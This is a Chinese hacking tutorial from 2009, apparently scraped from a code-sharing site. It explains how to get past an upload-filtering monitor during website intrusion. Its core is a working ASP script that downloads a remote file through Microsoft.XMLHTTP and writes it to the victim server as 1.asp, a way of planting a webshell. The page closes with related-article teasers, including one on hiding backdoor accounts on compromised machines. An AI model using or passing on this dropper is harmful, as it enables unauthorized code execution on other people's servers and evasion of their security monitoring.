当前位置：代码网 > 服务器>网络安全>企业安全 > 突破一流拦截上传限制的方法

突破一流拦截上传限制的方法

2009年07月19日 • 企业安全 •我要评论

突破一流拦截上传限制的方法在我们入侵网站的过程中,有时候提交我们的大马或者其他ASP文件的时候,会被一流信息监控系统所拦截... 09-07-19

                    
						这是因为它设置了限制提交字符,既然它不允许我们进行提交,那我们可以采用下载的方法.这个就好比我们上传大exe文件的时候,网站禁止了上传,但是我们可以采用外部下载的方式来把目标文件下载到本地服务器中.好了,这个方法就是,只要服务器没有禁用xml和数据流组件,我们可以往服务器中提交以下asp脚本文件 

复制代码
代码如下:

<% 
set xpost = createobject("microsoft.xmlhttp") 
xpost.open "get","https://www.jb51.net/1.txt",false 
xpost.send() 
set sget = createobject("adodb.stream") 
sget.mode = 3 
sget.type = 1 
sget.open() 
sget.write(xpost.responsebody) 
sget.savetofile server.mappath("1.asp"),2 
set sget = nothing 
set spost = nothing 
%> 

正则表达式的基本语法

正则表达式的基本语法　　正则表达式的基本语法　　首先让我们看两个特殊的符号'^'和'$'。他们的作用是分别指出一个字符串的开始和结束。例子如下：　　　　"^T... [阅读全文]
服务器建立和删除系统隐藏帐号的方法分析

服务器建立和删除系统隐藏帐号的方法分析当黑客入侵一台主机后，会想方设法保护自己的“劳动成果”，因此会在肉鸡上留下种种后门来长时间得控... [阅读全文]
让XP 3389支持多人登陆的方法

让XP 3389支持多人登陆的方法其实很简单了，2082以后的termsrv.dll不支持多人终端，我用2055的termsrv.dll覆盖原来的termsr... [阅读全文]
nbtstat命令详解

nbtstat命令详解　　NBTSTAT命令可以用来查询涉及到NetBIOS信息的网络机器。另外，它还可以用来消除NetBIOS高速缓存器和预加载LMHOST... [阅读全文]
打造个性化的Cmd命令提示符

打造个性化的Cmd命令提示符　　代码如下：　　————————————————————　　|关闭回显　　@echo off |　　@mode con cols... [阅读全文]
奇招防止IE主页修改

奇招防止IE主页修改修改IE默认主页地址是恶意网页常用的一招，IE被修改后，会自动连接到恶意网页的地址。大家常用的方法是修改注册表，其实，只要简单给IE加个参... [阅读全文]

发表评论


验证码：

突破一流拦截 上传限制的方法

2009年07月19日 • 企业安全 •我要评论

相关文章:

发表评论

突破一流拦截上传限制的方法